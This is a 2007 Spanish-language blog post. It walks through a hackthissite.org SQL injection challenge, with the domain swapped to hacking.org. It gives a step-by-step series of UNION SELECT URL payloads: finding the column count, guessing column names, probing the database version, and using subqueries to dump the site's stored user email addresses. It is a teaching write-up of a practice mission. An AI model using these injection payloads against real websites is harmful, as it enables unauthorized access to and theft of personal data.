martes, 2 de octubre de 2007

Ejemplo práctico de inyección SQL con UNION

El siguiente texto es una especie de cuaderno de bitácora de mi compi de curro - y de otras cosas que no voy a decir - Sponge Bob.
Es un spoiler total de una de las pruebas de http://www.hackthissite.org/, pero se ha cambiado la URL para que las arañitas de google no les sirvan en bandeja la solución a la gente que está haciendo las pruebas.

Sponge Bob dixit:


Esta misión ya se realizó en su momento, por lo parte de las acciones que realizo tienen como origen cosas que recuerdo que hice en su momento.

En primer lugar, recuerdo que products.php era sensible a injecciones SQL, usando un UNION.


http://www.hacking.org/missions/products.php?category=2+union+select+1

La siguiente injección me devuelve una única entrada sin información, cuando la categoría '2' contiene 3 productos. La consulta que se debe hacer en products.php debe ser algo del estilo
SELECT * FROM products WHERE category = 2
Dicha consulta deberá retornar X elementos y para que el código que injerto tenga éxito deberá retornar el mismo número de elemento.

Probemos....

http://www.hacking.org/missions/products.php?category=2+union+select+1,2

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3

Mismo resultado.

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4

Bien. Aquí ya se devuelve 4 entradas, posiblemente los 3 productos en el resultado de mi injerto. Sin embargo no aparece ningún tipo de información, fotos, precios, descripción. Es posible que a mi injerto le falte algún tipo de información. La sentencia SQL original podría ser algo así...
SELECT id, price, description, picture FROM products WHERE category = 2

Por si acaso, también probamos con el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1,2,3,4,5

En este caso, se vuelve a mostrar una única entrada, lo cuál parece reforzar el hecho de que la sentencia SQL devuelve 4 campos.

Suponiendo que la sentencia SQL original sea utilizada no por posición, sino por nombre (con el módulo de PHP MDB2 por ejemplo cuando se extraen los resultados puedes indicar que sea por columna: MDB2_FETCHMODE_ORDERED, por nombre: MDB2_FETCHMODE_ASSOC, o por objeto: MDB2_FETCHMODE_OBJECT) y presuponiendo que uno de los campos usado sea el campo clave (al cual normalmente se le llama id) ejecutamos la siguiente sentencia...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2,3,4,5

Mmmmm, ¡han aparecido las fotos! Lo cual nos indica lo siguiente:
* Si miramos en el código html vemos que el nombre de la cada foto está relacionado con el 'id'. Así la foto 1.jpg está relacionada con el producto con id 1.

http://www.hacking.org/missions/1.jpg

* Si un campo en el injerto no tiene asignado nombre provoca que el campo en la sentencia original que ocupe el mismo puesto pierde su nombre de columna provocando que no aparezca la información correspodiente. Por ejemplo, con la siguiente sentencia

http://www.hacking.org/missions/products.php?category=2+union+select+1,2+as+id,3,4

sólo aparece la foto del elemento que se ha introducido en el injerto (2 as id) y no la de los elementos originales. Por tanto, en la sentencia original la primera columna es el id del producto.

Una aclaración: en este caso tampoco nos interesa mucho la colocación de los distintos atributos ya que lo que nos interesa en la información que podemos obtener con nuestro injerto y no la original.

Supongamos, ahora que el precio del producto tendrá como nombre de columna... no sé, ¿price? ;-)

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3,4

Bien, existe un campo price pero no está en la segunda posición. Da igual.

Supongamos que otro campo puede ser description, describiendo el producto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+description,4

No se ha producido ningún cambio respecto a la sentencia anterior por tanto no es description.

A ver, también es cierto que no es necesario averiguar la estructura completa de la sentencia SQL original. Posiblemente a través del campo 'price' podamos sacar la información que necesitamos aunque también es posible que en la aplicación sólo manejen números o si maneja texto sea de una longitud muy limitada para nuestras necesidades. Para nuestras necesidades seguro que es más adecuado el campo que describe los productos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,2+as+price,3+as+text,4

Biiien, ya tenemos el nombre del campo que describe los productos.

Lo que no queda claro es para que sirve el cuarto campo pero bueno tampoco parece que sea muy útil.

Como nota curiosa, el siguiente injerto

http://www.hacking.org/missions/products.php?category=2+union+select+2+as+price,1+as+id,3+as+text,4

produce que la foto se coloque en la imagen (ver código fuente) la descripción del producto y en la descripción del producto el id del producto, ¿alguna explicación?

Y si probamos a veriguar qué base de datos tenemos...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,@@version+as+text,3+as+price,4

Bueno, nos da error. Es posible que sea un mysql y no tengamos permisos de ejecución.

¿Dónde pueden estar las direcciones de correo? Si intentamos introducir como dirección de email el carácter "'" nos devuelve un informativo error:

http://www.hacking.org/missions/addemail.php?email='

Error inserting into table "email"! Email not valid! Please contact an administrator of Fischer's.

Por tanto, podemos probar a sacar el id de la tabla email...

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+id+from+email+limit+1)+as+text,3+as+price,4

Nada, nos da error. La opción 'limit' no es estándar (gracias Pedro) y hay bases de datos como Oracle que no la soportan. Lo que deja claro el siguiente injerto es que se puede introducir subconsultas en el injerto

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,(select+2)+as+text,3+as+price,4

Bien, hagamos una consulta a la tabla email, ¿qué campo puede contener el email de los usuarios? Probemos con 'email'

http://www.hacking.org/missions/products.php?category=2+union+select+1+as+id,email+as+text,3+as+price,4+from+email

Bueno, bueno, bueno, ya tenemos los emails de los usuarios ahora habría que ver a quién se le manda.



Espero que a la gente de http://www.hackthissite.org/ no les moleste, este artículo se ha creado exclusivamente con fines didácticos y sin intención de joder a nadie ^_^

No hay comentarios:

Seguidores